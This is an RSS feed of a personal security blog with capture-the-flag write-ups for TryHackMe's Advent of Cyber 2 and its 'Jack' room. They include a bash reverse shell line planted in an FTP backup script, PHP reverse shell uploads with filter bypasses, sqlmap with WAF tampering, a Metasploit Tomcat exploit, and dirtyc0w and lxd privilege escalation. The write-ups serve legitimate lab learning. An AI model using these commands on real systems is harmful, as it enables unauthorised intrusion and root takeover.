<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>python — drsh0&#39;s llog</title>
    <link>https://drsh0.writeas.com/tag:python</link>
    <description>my learning log; notes on cybersec activities, ctfs, and ill-equipped cyber adventures. Consume responsibly.</description>
    <pubDate>Tue, 17 Nov 2026 00:37:45 +0000</pubDate>
    <image>
      <url>https://i.snap.as/v7Oo2ci6.png</url>
      <title>python — drsh0&#39;s llog</title>
      <link>https://drsh0.writeas.com/tag:python</link>
    </image>
    <item>
      <title>TryHackMe - Advent of Cyber 2</title>
      <link>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2?pk_campaign=rss-feed</link>
      <description>Get started with Cyber Security in 25 Days – Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.&#xA;&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;Here are my writeups! Happy Holidays folks 🎄</description>
      <content:encoded><![CDATA[<blockquote><p>Get started with Cyber Security in 25 Days – Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.</p></blockquote>

<p><a href="https://tryhackme.com/room/adventofcyber2" rel="nofollow ugc">https://tryhackme.com/room/adventofcyber2</a></p>

<p>Here are my writeups! Happy Holidays folks 🎄</p>



<h2 id="day-1-web-cookies-a-christmas-crisis">Day 1: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Cookies" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Cookies</span></a> A Christmas Crisis</h2>
<ul><li>modify basic auth cookie to bypass authentication for user <code>santa</code>.</li>
<li>cookie format is in hexadecimal which is presented as json when decoded.</li></ul>

<h2 id="day-2-web-rce-the-elf-strikes-back">Day 2: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:RCE" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">RCE</span></a> The Elf Strikes Back</h2>
<ul><li>login using provided ID via GET parameter.</li>
<li>set up a simple php reverse shell</li>
<li>bypass upload filter by adding <code>.jpg</code> before true extension.</li>
<li>set up ncat listener: <code>rlwrap ncat -lvnp $PORT</code></li>
<li>visit upload directory and open uploaded php reverse shell.</li>
<li>get <code>www-data</code> shell and get flag.</li></ul>

<h2 id="day-3-web-authentication-christmas-chaos">Day 3: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Authentication" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Authentication</span></a> Christmas Chaos</h2>
<ul><li>attempt login and capture login URI.</li>
<li>utilise burp cluster bomb with 2 payload sets for: <code>username</code> and <code>password</code>.</li>
<li>run attack and compare response length to find correct credentials.</li>
<li>login using these credentials for flag</li></ul>

<h2 id="day-4-web-fuzzing-santa-s-watching">Day 4: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Fuzzing" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Fuzzing</span></a> Santa&#39;s Watching</h2>
<ul><li>scan for common directories —&gt; find <code>/api</code></li>
<li>api file <code>site-log.php</code> used for querying site logs by date</li>
<li>fuzz probable dates using <code>wfuzz</code>:
<code>wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ</code></li></ul>

<h2 id="day-5-web-sqli-someone-stole-santa-s-gift-list">Day 5: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:SQLi" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">SQLi</span></a> Someone stole Santa&#39;s gift list!</h2>
<ul><li>bypass login using basic SQLi payload</li>
<li>use info provided to launch <code>sqlmap</code> against the search parameter.</li>
<li>burp –&gt; capture request –&gt; send to repeater –&gt; save request.</li>
<li><code>sqlmap -r $saved_request --tamper=space2comment --dump-all -dbms sqlite</code>.
<ul><li><code>space2comment</code> is a WAF bypass method. This can be identified via <code>--identify-waf</code>.</li>
<li>other WAF bypasses are available where needed.</li></ul></li>
<li>use db dumps to answer all questions.</li></ul>

<h2 id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night">Day 6: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:XSS" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">XSS</span></a> Be careful with what you wish on a Christmas night</h2>
<ul><li>web app is vulnerable to both reflected and stored XSS.</li>
<li>OWASP ZAP can be used for automated scanning.</li>
<li>The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying <code>&lt;a&gt;</code> tags or by doing something like <code>location.replace</code>).</li></ul>

<h2 id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas">Day 7: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:Wireshark" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Wireshark</span></a> The Grinch Really Did Steal Christmas</h2>

<p>We&#39;re given 3 pcaps that need to be analysed.</p>

<p>pcap1</p>
<ul><li>find icmp traffic – type <code>icmp</code> in filter bar</li>
<li>find all HTTP GET requests – <code>http.request.method == GET</code></li>
<li>find web pages visited (HTTP) by specific host – <code>ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET</code></li></ul>

<p>pcap 2</p>
<ul><li>find plaintext password in ftp traffic – <code>ftp.request.command==PASS</code></li>
<li>find encrypted protocol used – statistics &gt; protocol hierarchy (from this we see SSH which is an encrypted protocol)</li></ul>

<p>pcap 3</p>
<ul><li>recover files sent in the wire – file &gt; export objects &gt; http</li></ul>

<h2 id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree">Day 8: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:nmap" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">nmap</span></a> <a href="https://drsh0.writeas.com/tag:enumeration" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">enumeration</span></a> What&#39;s Under the Christmas Tree?</h2>

<p>A quick recap of nmap:</p>
<ul><li><code>-sT</code> – TCP scan</li>
<li><code>-sS</code> – SYN scan – default</li>
<li><code>-A</code> – aggressive scan (includes OS, version, script and traceroute scans)</li>
<li><code>--script vuln</code> – scan for common vulnerabilities on open ports
<ul><li>additional scripts: <code>enip-info</code>, <code>rdp-ntlm-info</code>, <code>http-enum</code></li>
<li>tip: you can use <code>*</code> as a wildcard when using <code>--script</code>.</li></ul></li></ul>

<h2 id="day-9-networking-ftp-anyone-can-be-santa">Day 9: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:ftp" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">ftp</span></a> Anyone can be Santa!</h2>
<ul><li>find anonymous ftp directories using <code>nmap $IP -sV --script=ftp-anon</code></li>
<li><code>ftp</code> in and retrieve <code>backup.sh</code></li>
<li>set up <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp" rel="nofollow ugc">reverse shell</a> on local host: <code>rlwrap ncat -lnvp 4242</code></li>
<li>upload backup script back to the ftp server with an added bash reverse shell:
<code>sh -i &gt;&amp; /dev/udp/$THM_IP/4242 0&gt;&amp;1</code></li>
<li>we should get a root shell on remote host this way.</li></ul>

<h2 id="day-10-networking-smb-don-t-be-selfish">Day 10: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:smb" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">smb</span></a> Don&#39;t be sElfish!</h2>

<p><code>enum4linux -U $IP</code> – enumerate users on SMB server
<code>enum4linux -S $IP</code> – enumerate shares on SMB server
<code>smbclient //$IP/$ShareName</code> – connect to SMB share</p>

<h2 id="day-11-networking-privesc-the-rogue-gnome">Day 11:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:privesc" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">privesc</span></a> The Rogue Gnome</h2>
<ul><li>we&#39;re given details to log in to ssh as the <code>cmatic</code> user.</li>
<li>it appears to be a limited account without any <code>sudo</code> access, let&#39;s send over <code>LinEnum.sh</code> to automate enumeration for us.</li>
<li>on the target machine: <code>nc -l -p 1337 &gt; /tmp/LinEnum.sh</code></li>
<li>on the attacking machine: <code>nc -w 3 $machineIP 1337 &lt; LinEnum.sh</code></li>
<li>The above should send the file from our machine to the target machine via <code>nc</code> (timeout <code>-w</code> at 3 secs)</li>
<li>SUID enumeration reveals <code>/bin/bash</code> has SUID bit set</li>
<li>With <code>/bin/bash -p</code> we get a root shell. The <code>-p</code> tells  the shell to maintain the euid which in this case is 0 (root) due to SUID.</li></ul>

<h2 id="day-12-networking-initialaccess-ready-set-elf">Day 12:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:initialaccess" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">initialaccess</span></a> Ready, Set, Elf</h2>
<ul><li>nmap (<code>-sC -sV</code>)</li>
<li>we see tomcat 9.0.17 being used</li>
<li>searching that in exploit-db we find possible code exec CVEs</li></ul>

<p>metasploit:</p>

<pre><code>msfconsole
search CVE-2019-0232
use exploit/windows/http/tomcat_cgi_cmdlineargs
set lhost tun0
set rhost $remotehostIP
set URI $remotehostCGI
check
exploit
shell
</code></pre>

<p>the above gets us a user shell. Check privs with <code>run post/windows/gather/win_privs</code></p>

<h2 id="day-13-exploitation-coal-for-christmas">Day 13: <a href="https://drsh0.writeas.com/tag:exploitation" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">exploitation</span></a> Coal for Christmas</h2>
<ul><li>scan machine with nmap – notice telnet</li>
<li>connect to telnet and log in with creds displayed</li>
<li>Enumuration tips:
<ul><li>cat /etc/*release</li>
<li>cat /etc/issue</li></ul></li>
<li>Ubuntu 12.04 with kernel 3.2.0-23-generic – vulnerable to dirtyc0w.</li>
<li>Transfer dirtyc0w source code to target machine and compile</li>
<li>run and create a root privileged account!</li></ul>

<h2 id="day-14-osint-where-s-rudolph">Day 14: <a href="https://drsh0.writeas.com/tag:osint" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">osint</span></a>  Where&#39;s Rudolph?</h2>
<ul><li><a href="https://scylla.sh/" rel="nofollow ugc">https://scylla.sh/</a> – neat place to find dehashed passwords.</li>
<li>always check the entire post history of an account if possible.</li></ul>

<h2 id="day-15-16-python">Day 15 &amp; 16: <a href="https://drsh0.writeas.com/tag:python" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">python</span></a></h2>

<pre><code class="language-python">#!/usr/bin/env python3
## TryHackMe Advent Calendar 2020 Day 16
## https://tryhackme.com/room/adventofcyber2

import requests

# The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.
# for loop to go over 1-100 key values, step by 2 to have odd numbers only

for api_key in range(1,100,2):
    # print what api key value we are iterating
    print(f&#34;api_key {api_key}&#34;)
    # this is the api endoing we are sending requests to
    r = requests.get(f&#39;http://EDITME_THMIP:8000/api/{api_key}&#39;)
    # only print text out if there are no failures or protections in place
    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):
        print(r.text)
</code></pre>

<h2 id="day-19-ssrf-web-the-naughty-or-nice-list">Day 19: <a href="https://drsh0.writeas.com/tag:SSRF" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">SSRF</span></a> <a href="https://drsh0.writeas.com/tag:web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">web</span></a> The Naughty or Nice List</h2>
<ol><li>Observe that searches are proxied internally via <code>http://list.hohoho:8080/search.php?name=</code>.</li>
<li>Since an internal server is exposed, there are numerous things to do:
<ul><li>visit root of the host exposed e.g. <code>http://list.hohoho:8080</code> via the URI parameter.</li>
<li>try different ports for enumeration.</li>
<li>check for any app side blocking/filtering e.g. visiting <code>localhost</code> via the proxy. If blocked, consider using <code>localtest.me</code> which resolves to 127.0.0.1 e.g. <code>proxy=http://list.hohoho.localtest.me</code></li>
<li>this could lead to some sensitive exposure.</li></ul></li></ol>

<h2 id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas">Day 17 &amp; 18: <a href="https://drsh0.writeas.com/tag:reversing" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">reversing</span></a> <a href="https://drsh0.writeas.com/tag:assembly" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">assembly</span></a> <a href="https://drsh0.writeas.com/tag:dotnet" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">dotnet</span></a> ReverseELFneering  &amp; The Bits of Christmas</h2>

<p>Opening a binary with radare2 – <code>r2 -d &lt;file&gt;</code>
Analysing a binary – <code>aa</code>
List of functions – <code>afl</code>
Print disassembly function – <code>pdf @&lt;function&gt;</code>
Breakpoint – <code>db &lt;reference&gt;</code>
Run program until breakpoint – <code>dc</code>
View contents of memory address – <code>px @&lt;memory address&gt;</code>
Move to next instruction – <code>ds</code>
View %eax register – <code>dr</code>
Reload program – <code>ood</code></p>

<hr/>

<p>For DotNet applications, <strong>ILSpy</strong> and <strong>Dotpeek</strong> are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication.</p>

<h2 id="day-20-powershell-powershellf-to-the-rescue">Day 20: <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">powershell</span></a> PowershELlF to the rescue</h2>

<p>Some intro to powershell and navigating the file and directory system:</p>

<p><strong><code>Get-ChildItem -Path &lt;&gt; -File/-Directory -Hidden -ErrorAction SilentlyContinue</code></strong>
The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors.</p>

<p><strong><code>Measure-Object</code></strong>
Can be piped to provide info on an object like words e.g. <code>Get-Content file.txt | Measure-Object -Word</code></p>

<p><strong><code>(Get-Content -Path file.txt)[index]</code></strong>
Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character.</p>

<p><strong><code>Select-String -Path ./Desktop -Pattern &#39;*.txt&#39;</code></strong>
Find all txt files within the desktop. Can also be used to search for strings within a file.</p>

<h2 id="day-21-forensics-powershell-time-for-some-elforensics">Day 21: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">forensics</span></a> <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">powershell</span></a> Time for some ELForensics</h2>
<ul><li>ADFS is a part of NTFS and can contain alternate data streams not visible to the user.
Calculate MD5:
<code>Get-FileHash -Algorithm MD5 &lt;file&gt;</code>
View streams:
<code>Get-Item -Path file.exe -Stream *</code>
Launch the stream/s found:
<code>wmic process call create $(Resolve-Path file.exe:streamname)</code></li></ul>

<h1 id="day-22-forensics-elf-mceager-becomes-cyberelf">Day 22: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">forensics</span></a> Elf McEager becomes CyberElf</h1>

<p>Data decoding via <a href="https://gchq.github.io/CyberChef/" rel="nofollow ugc">https://gchq.github.io/CyberChef/</a></p>

<h1 id="day-23-forensics-the-grinch-strikes-again">Day 23: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">forensics</span></a> The Grinch strikes again!</h1>
<ul><li>malicious scheduled tasks may often be utilised by ransomware operators.</li>
<li>volume shadow copy service (VSS) creates “snapshots” of data. This can be interacted with using <code>vssadmin</code></li>
<li>for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume.</li></ul>

<h2 id="day-24">Day 24</h2>

<p>Find hidden web directories and php pages:</p>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
</code></pre>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php
</code></pre>

<p>Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to <code>.jpg.php</code> doesn&#39;t work. See network connections and notice <code>filter.js</code>. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.</p>

<pre><code class="language-bash">rlwrap ncat -nlvp 1234
</code></pre>

<p>Upgrade shell:</p>

<pre><code class="language-bash">python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</code></pre>

<p>After finding the DB creds in the <code>includes</code> folder, connect to it using MySQL client.</p>

<pre><code>$ msql -utron -p
$ show databases;
$ use tron;
$ show tables;
$ select * from users;

</code></pre>

<p>We find the user <code>flynn</code>&#39;s hashed password which can be cracked via <a href="https://crackstation.net/" rel="nofollow ugc">crackstation</a>.
Using these credentials, SSH into localhost (or use <code>su flynn</code>).
The flyn user is in the lxd group, allowing us to interact with linux containers (lxc).</p>

<pre><code class="language-bash">$ lxc image list # see if there are any images we can use
$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container
$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root
$ lxc start $CONTAINERNAME
$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell 
</code></pre>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2</guid>
      <pubDate>Thu, 10 Dec 2020 19:51:43 +0000</pubDate>
    </item>
    <item>
      <title>Jack - TryHackMe</title>
      <link>https://drsh0.writeas.com/jack-tryhackme?pk_campaign=rss-feed</link>
      <description>https://tryhackme.com/room/jack&#xA;&#xA;Summary&#xA;exploit Wordpress web server&#xA;gain user shell&#xA;use Python to escalate to root&#xA;&#xA;Tools Used&#xA;nmap, wpscan, python, pspy</description>
      <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/jack" rel="nofollow ugc">https://tryhackme.com/room/jack</a></p>

<h2 id="summary">Summary</h2>
<ul><li>exploit Wordpress web server</li>
<li>gain user shell</li>
<li>use Python to escalate to root</li></ul>

<h3 id="tools-used">Tools Used</h3>
<ul><li><code>nmap</code>, <code>wpscan</code>, <code>python</code>, <code>pspy</code></li></ul>



<h2 id="enum">Enum</h2>

<h5 id="nmap">Nmap</h5>

<p><code>sudo nmap -A jack.thm -oN jack</code></p>

<p><code>nmap</code> tells us we have a host running ssh and serving a wordpress application.</p>

<p><details></p>

<pre><code># Nmap 7.80 scan initiated Sun Aug 30 03:57:41 2020 as: nmap -A -oN jack -v jack.thm
Nmap scan report for jack.thm (10.10.126.131)
Host is up (0.30s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3e:79:78:08:93:31:d0:83:7f:e2:bc:b6:14:bf:5d:9b (RSA)
|   256 3a:67:9f:af:7e:66:fa:e3:f8:c7:54:49:63:38:a2:93 (ECDSA)
|_  256 8c:ef:55:b0:23:73:2c:14:09:45:22:ac:84:cb:40:d2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-generator: WordPress 5.3.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Jack&amp;#039;s Personal Site &amp;#8211; Blog for Jacks writing adven...
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/30%OT=22%CT=1%CU=42716%PV=Y%DS=4%DC=T%G=Y%TM=5F4B15C
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)SEQ
OS:(SP=106%GCD=1%ISR=10A%TI=Z%CI=I%TS=8)OPS(O1=M509ST11NW7%O2=M509ST11NW7%O
OS:3=M509NNT11NW7%O4=M509ST11NW7%O5=M509ST11NW7%O6=M509ST11)WIN(W1=68DF%W2=
OS:68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M509NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.014 days (since Sun Aug 30 03:38:38 2020)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   167.61 ms 10.13.0.1
2   ... 3
4   304.95 ms jack.thm (10.10.126.131)

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 30 03:58:22 2020 -- 1 IP address (1 host up) scanned in 41.89 seconds
</code></pre>

<p></details></p>

<h5 id="wpscan">WPScan</h5>

<p><code>wpscan --url jack.thm</code></p>

<blockquote><p>XML-RPC seems to be enabled</p></blockquote>

<p>We can use this to enumerate usernames. Let&#39;s try:
* <code>http://jack.thm/wp-json/wp/v2/users/1</code> – 200 – we are able to see the <em>jack</em> user (that we already know about)
* <code>http://jack.thm/wp-json/wp/v2/users/2</code> – 401 – not allowed to view this user
* <code>http://jack.thm/wp-json/wp/v2/users/99</code> – 404 – user not found</p>

<p>WPScan to the rescue as it provides user enumerition AND bruteforcing which may allow us into the <code>wp-admin</code> panel. We find 2 additional users.</p>

<p><code>wpscan --wpscan --url jack.thm --enumerate u</code></p>

<p>Put all three users into a users.txt file and use a wordlist of your choice to brute force. We are able to sucesfully obtain a password for a user. Use that to login to <code>wp-admin</code>.</p>

<p><code>wpscan --url jack.thm --passwords rockyou.txt --usernames users.txt</code></p>

<p>Unfortunately, once logged in, the user does not have any administrative rights. Time to move onto exploitation.</p>

<h2 id="exploit">Exploit</h2>

<h3 id="user">User</h3>
<ul><li><a href="https://www.exploit-db.com/exploits/44595" rel="nofollow ugc">https://www.exploit-db.com/exploits/44595</a></li>
<li>edit plugin php</li>
<li>insert php reverse shell</li>
<li>gain access to <code>www-data</code> user shell</li>
<li>obtain user flag</li></ul>

<h2 id="priv-esc">Priv Esc</h2>

<p>Our next aim is to move from <code>www-data</code> to <code>jack</code>. Fortunately, according to <code>reminder.txt</code> in jack&#39;s home directory, this user has an issue setting permissions on backups. Doing a quick check we find <code>/var/backups</code> that contains some goodies that <code>www-data</code> is able to read. Using this, we can SSH to the host.</p>

<p><code>find / -name backup* 2&gt;/dev/null</code></p>

<h2 id="root">Root</h2>
<ul><li>linPEAS (or any other privesc script of choice)</li>
<li>nothing of interest can be found apart from various interesting file access rights.</li>
<li>hint reveals that python is being used.</li>
<li>use <code>pspy</code> to monitor for any strange cronjobs by root</li>

<li><p>👀</p>
<ul><li><p><code>2020/08/30 00:26:01 CMD: UID=0    PID=3036   | /usr/bin/python /opt/statuscheck/checker.py</code></p>

<h5 id="python-exploitation">python exploitation</h5></li></ul></li></ul>

<p><code>checker.py</code>:</p>

<pre><code class="language-python">import os

os.system(&#34;/usr/bin/curl -s -I http://127.0.0.1 &gt;&gt; /opt/statuscheck/output.log&#34;)
</code></pre>

<p>From previous linenum scripts <code>jack</code> is a part of <code>family</code> which has write access to /usr/lib/python2.7/</p>

<p>Since we know <code>os.system</code> is being used in the script we have a lot of options to gain root access such as:</p>
<ul><li>modify <code>os.py</code> to facilitate a reverse shell.</li>
<li>change permissions of other files and folders within the system (as root).</li>
<li>change ssh configs to allow for password-less root access via ssh.</li>
<li>obtain the root flag and write it to a file that is world readable.</li></ul>

<p><a href="https://drsh0.writeas.com/tag:tryhackme" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">tryhackme</span></a> <a href="https://drsh0.writeas.com/tag:wordpress" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">wordpress</span></a> <a href="https://drsh0.writeas.com/tag:python" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">python</span></a></p>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/jack-tryhackme</guid>
      <pubDate>Tue, 01 Dec 2020 06:04:31 +0000</pubDate>
    </item>
  </channel>
</rss>